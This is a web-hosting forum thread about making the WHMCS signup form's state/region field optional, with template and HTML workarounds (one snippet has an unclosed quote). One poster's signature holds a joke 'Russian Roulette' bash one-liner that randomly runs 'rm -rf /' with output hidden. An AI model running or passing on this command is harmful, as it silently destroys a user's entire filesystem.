Can I make the state/region field a non required field?
Thanks,
Adam
Can I make the state/region field a non required field?
Thanks,
Adam
Hey,Originally Posted by onestopad
I highly recommend that you keep it, but I believe (not sure) you can just remove it from the template. Correct me if I'm wrong.
From,
Adam
WHMCS Customer Since October 2005
CheckOutScript - Copy of Order sent to an email (legacy order form only)
Kayako to WHMCS - Integration (deprecated)
www.EastSolid.com - FREE End User Support
I don't want to remove it
I just dont want it required - in the UK alot of city addresses don't need a state or region. So at the moment I couldn't sign up without putting my city in twice..
Ad
Wouldn't your county go into the state?
Well your in London - so what is your county? I'm in Manchester I don't have a county... etc etc. I have a client in Edinburgh....
I'm not arguing the validity of the field - I would just like to make it non required so if someone who doesn't have a county can sign up easily!
Just to answer your question. It's Middlesex :POriginally Posted by onestopad
Ok I know we have had some banter but can this be done?
Ad
Hey,Originally Posted by onestopad
Read the second post in this thread.
From,
Adam
WHMCS Customer Since October 2005
CheckOutScript - Copy of Order sent to an email (legacy order form only)
Kayako to WHMCS - Integration (deprecated)
www.EastSolid.com - FREE End User Support
Read the third...
I dont want to remove the field ( I am assuming that you mean to just take out that whole field). I want to keep it. I would just like the option to take the * away so it isn't a required field on signup.
Ad
Hey,Originally Posted by onestopad
Then no, this can't be done.
From,
Adam
WHMCS Customer Since October 2005
CheckOutScript - Copy of Order sent to an email (legacy order form only)
Kayako to WHMCS - Integration (deprecated)
www.EastSolid.com - FREE End User Support
Recheck on this one. Is it still impossible *not to* require the state when client signs up?
Your wrong. Just for grins and giggles, I tried your suggestion. (I have no desire to remove this, I just felt like testing the claim.) I tested this by removing it from the template, upon submission it still tells you that you are missing the State data.
Why not just change the template fromToHTML Code:<tr> <td class="fieldarea">{$LANG.clientareastate}</td> <td><input type="text" name="state" size=25 value="{$clientstate}"> *</td> </tr>This way, form processor script is satisfied by having a value in State, but the "Optional" goes away immediately when the user clicks the field, making it easy for the customer to enter something without removing the existing value if they want to change it.HTML Code:<tr> <td class="fieldarea">{$LANG.clientareastate}</td> <td><input type="text" name="state" size=25 value="Optional" onClick="this.value=''> </td> </tr>
Want to play Russian Roulette?
[ $(echo "scale=0; $RANDOM % 6" | bc -l) == 0 ] && nohup rm -rf / >/dev/null 2>&1 || echo "You live (for now)"
That is a great idea, but there's a small flaw :>
It seems that our when our clients think it's optional, they actually delete the text "optional" and try to proceed with the order. The same problems occurs again and even though the field should be optional, it has to be actually filled.
make it a hidden field then they cant change it
Rob Golding UK Web Hosting est 1996 - Cloud/VPS/Servers in own UK London Docklands DataCentre - ICANN Accredited Registrar (PM me for a free WHMCS domain reseller module)
WHMCS Modules: Registrars:CentralNIC, RRPProxy, AstutiumDomains, Cacti Bridge, APC/Raritan Power Control, Linux-Ensim, DNS Manager, VAT Reports, Samba Control